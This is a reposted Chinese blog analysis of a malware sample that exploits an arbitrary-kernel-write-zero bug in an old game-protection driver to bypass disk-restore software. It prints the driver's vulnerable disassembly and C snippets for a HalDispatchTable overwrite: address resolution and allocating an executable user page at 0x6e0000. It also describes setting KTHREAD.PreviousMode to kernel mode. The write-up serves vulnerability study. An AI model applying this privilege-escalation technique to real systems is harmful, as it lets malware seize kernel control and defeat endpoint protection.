知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

驱动漏洞提权执行内核代码样本分析学习

发布时间:2014-07-15 11:50:28作者:知识屋

上篇讲到  ,接下来讲下样本是如何利用该驱动进行内核提权的,错误的地方还请斧正。

目前网吧为了防止木马病毒,绝大部分安装了系统还原软件,通过首先获取的R0权限,拦截未知的驱动,这样的话,想过还原的木马无法获取0环权限,当然无法与运行在0环的磁盘还原驱动对抗了,但主动防御是不会拦截游戏保护驱动的正常加载, 要是这个也拦截, 估计这网吧也没人去玩了。

目前相当大一部分能过还原木马程序都是通过能正常加载的游戏保护驱动的漏洞,达到提权,执行内核代码来对抗磁盘还原。

前段时间朋友给了个样本,分析了一下,该样本就是通过国内某个大型游戏厂商一个很老的驱动漏洞提权执行内核代码,绕过主防,加载过还原驱动。

该驱动,通过修改SSDT,HOOK ZwOpenProcess函数,HOOK的过程这里忽略。
下面是该HOOK的ZwOpenProcess函数的处理与漏洞产生的原因:

 
NTSTATUS __stdcall Hook_ZwOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
.text:00010B7A Hook_ZwOpenProcess proc near            ; DATA XREF: sub_10BDE+36o
.text:00010B7A
.text:00010B7A ProcessHandle= dword ptr  8
.text:00010B7A DesiredAccess= dword ptr  0Ch
.text:00010B7A ObjectAttributes= dword ptr  10h
.text:00010B7A ClientId= dword ptr  14h
.text:00010B7A
.text:00010B7A     push    ebp
.text:00010B7B     mov     ebp, esp
.text:00010B7D     push    edi
.text:00010B7E     call    PsGetCurrentProcessId
.text:00010B83     mov     edi, [ebp+ClientId]
.text:00010B86     cmp     eax, [edi]
.text:00010B88     jz      short loc_10BC8
.text:00010B8A     push    ebx
.text:00010B8B     push    esi
.text:00010B8C     mov     esi, offset SpinLock
.text:00010B91     mov     ecx, esi                    ; SpinLock
.text:00010B93     call    ds:KfAcquireSpinLock
.text:00010B99     push    0
.text:00010B9B     push    dword ptr [edi]
.text:00010B9D     mov     bl, al
.text:00010B9F     push    offset dword_10D8C
.text:00010BA4     call    sub_109DE
.text:00010BA9     mov     dl, bl                      ; NewIrql
.text:00010BAB     mov     ecx, esi                    ; SpinLock
.text:00010BAD     mov     [ebp+ClientId], eax
.text:00010BB0     call    ds:KfReleaseSpinLock
.text:00010BB6     cmp     [ebp+ClientId], 0
.text:00010BBA     pop     esi
.text:00010BBB     pop     ebx
.text:00010BBC     jz      short loc_10BC8
.text:00010BBE     mov     eax, [ebp+ProcessHandle]
.text:00010BC1     and     [ebp+DesiredAccess], 0FFFFFFC7h
.text:00010BC5     and     dword ptr [eax], 0
; 如果是保护的进程,
; ProcessHandle清0,
; 那下面调用系统真正的ZwOpenProcess将失败。
; 但是没有检查传入的地址是否大于0x80000000,
; 产生内核任意地址写0的漏洞
.text:00010BC8 loc_10BC8:                              ; CODE XREF: 、
.text:00010BC8                                         ; Hook_ZwOpenProcess+42j
.text:00010BC8     push    edi                         ; _DWORD
.text:00010BC9     push    [ebp+ObjectAttributes]      ; _DWORD
.text:00010BCC     push    [ebp+DesiredAccess]         ; _DWORD
.text:00010BCF     push    [ebp+ProcessHandle]         ; _DWORD
.text:00010BD2     call    Sys_ZwOpenProcess
.text:00010BD8     pop     edi
.text:00010BD9     pop     ebp
.text:00010BDA     retn    10h
.text:00010BDA Hook_ZwOpenProcess endp

 

可以很容易看出是一个内核任意地址清0的漏洞,下面是对该漏洞的利用,使用最常见的通过HalDispatchTable来利用。

能被利用的原因:
用户调用ZwQueryIntervalProfile函数最终将调用内核KeQueryIntervalProfile, 在KeQueryIntervalProfile函数中会调用HalQuerySystemInformation,如下图:

off_8054683C地址保存的是HalDispatchTable结构

在WINDBG中查看当前中0×8054683C的数据:

红色框中的是HalQuerySystemInformation地址。

通过将HalDispatchTable地址-2和HalDispatchTable地址+3的4字节清0,可以获取一个用户层的地址,我的虚拟机上该地址是0×6e0000,如下图:

这样的话,用户的程序在调用ZwQueryIntervalProfile函数的时候,就能跳到0×6e0000地址执行。

现在需要下面3个条件:
1. 获取HalDispatchTable地址。
2. 获取HalQuerySystemInformation的地址。
3. 申请HalQuerySystemInformation地址& 0xff0000的地址当中转站,跳到真正需要执行的函数。

第1个条件:
获取本机内核模块HalDispatchTable的地址:
通过LoadLibraryExA装载ntkrnlpa.exe模块到自身进程, 注意LoadLibraryExA函数的第3个参数,并获取HalDispatchTable导出函数的地址:

 
HMODULE hMode = LoadLibraryExA(“ntkrnlpa.exe”, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (NULL != hMode)
{
DWORD dwHalDispatchTable = (DWORD)GetProcAddress(hMode, "HalDispatchTable");
if (0 != dwHalDispatchTable)
{
dwHalDispatchTable -= (DWORD)hMode;
dwHalDispatchTable += 0x804D8000;
dwHalDispatchTable += 4;
}
}

 

第2个条件:
通过LoadLibraryExA装载hal.dll模块到自身进程,获取导出函数HalInitSystem, 在HalInitSystem函数中有对HalDispatchTable的初始化。

通过特征码搜索HalInitSystem函数,获取HalQuerySystemInformation函数的地址后,得到在模块中的偏移,再加上hal.dll在中的偏移,hal.dll在系统中的偏移,可以通过ZwQuerySystemInformation枚举获得。

HMODULE hMod = LoadLibraryExA("hal.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (NULL != hMod)
{
DWORD dwAddr = 0;
BYTE* lpAddr = (BYTE*)GetProcAddress(hMod, "HalInitSystem");
BYTE sz[] = {0xc7, 0x40, 0x4};
for (int i = 0; i < 0x500; i++) //搜索特征码
{
if (0 == memcmp(&lpAddr[i], sz, 3))
{
dwAddr = i + (DWORD)lpAddr + 3;
break;
}
}
dwAddr = *(DWORD*)dwAddr;
FreeLibrary(hMod);
DWORD dwBase = GetHalBase();
if (0 != dwBase)
{
dwAddr += dwBase;
dwAddr -= (DWORD)hMod;
dwAddr &= 0xff0000;
}
}

 

第3个条件:
通过VirtualAlloc函数来的第一个参数来设置需要申请的地址空间。代码如下:

 
MEMORY_BASIC_INFORMATION em = {0};
VirtualQuery((void*)dwHalDispatchTableAddr, &em, sizeof(MEMORY_BASIC_INFORMATION));
if (MEM_MAPPED == em.Type)
{
UnmapViewOfFile(em.AllocationBase);  //如果这个地址占用,先释放掉。
}
BYTE* lpJmpCode = (BYTE*)VirtualAlloc((void*)0x6e0000, 0x1000,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请可读写执行属性的内存

 

在windbg中下段,调用ZwQueryIntervalProfile后,看到这里断下的地方。
0×8054683c的数据已经被修改成0×6e0000

F11跟进:
开始执行提权的代码了:

保证执行完提权代码后,能正常跳回去的函数。

取KTHREAD结构地址,获取KTHREAD.PreviousMode,并修改KTHREAD.PreviousMode为内核模式。这样就权限与磁盘还原驱动做对抗了。

写在最后,没什么了,亲们,加入翰海源吧,与我们一起成长,和我们一起做一些很有挑战、有意思的事情。

–EOF

by CString of code audit labs of vulnhunt.com

http://blog.vulnhunt.com/index.php/2013/12/19/kernel_exploit_learn_analysis/

 
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜